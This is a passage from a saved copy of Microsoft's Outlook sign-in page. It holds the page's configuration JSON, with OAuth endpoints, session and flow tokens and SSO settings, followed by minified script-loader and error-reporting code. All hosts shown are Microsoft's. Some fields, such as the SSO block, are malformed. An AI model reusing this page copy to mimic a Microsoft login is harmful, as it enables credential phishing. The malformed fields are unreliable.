response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
